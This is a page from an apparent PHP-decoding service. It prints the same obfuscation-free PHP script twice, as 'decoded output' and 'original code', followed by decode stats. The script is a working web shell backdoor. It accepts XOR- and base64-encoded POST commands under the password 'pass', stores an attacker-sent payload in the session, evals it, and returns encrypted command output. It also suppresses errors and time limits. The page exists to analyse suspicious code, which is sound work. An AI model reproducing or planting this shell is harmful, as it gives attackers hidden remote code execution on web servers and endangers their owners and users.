Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @session_start(); @set_time_limit(0); @error_reporting(0); function encode($D,$K..

Decoded Output download

<?php 
@session_start(); 
@set_time_limit(0); 
@error_reporting(0); 
function encode($D,$K){ 
    for($i=0;$i<strlen($D);$i++) { 
        $c = $K[$i+1&15]; 
        $D[$i] = $D[$i]^$c; 
    } 
    return $D; 
} 
$pass='pass'; 
$payloadName='payload'; 
$key='3c6e0b8a9c15224a'; 
if (isset($_POST[$pass])){ 
    $data=encode(base64_decode($_POST[$pass]),$key); 
    if (isset($_SESSION[$payloadName])){ 
        $payload=encode($_SESSION[$payloadName],$key); 
        if (strpos($payload,"getBasicsInfo")===false){ 
            $payload=encode($payload,$key); 
        } 
..eval($payload); 
        echo substr(md5($pass.$key),0,16); 
        echo base64_encode(encode(@run($data),$key)); 
        echo substr(md5($pass.$key),16); 
    }else{ 
        if (strpos($data,"getBasicsInfo")!==false){ 
            $_SESSION[$payloadName]=encode($data,$key); 
        } 
    } 
} 
exit('77770123'); ?>

Did this file decode correctly?

Original Code

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
..eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
exit('77770123');

Function Calls

None

Variables

None

Stats

MD5 dbb3cc91537d3e065dd49b3bb41e7c51
Eval Count 0
Decode Time 52 ms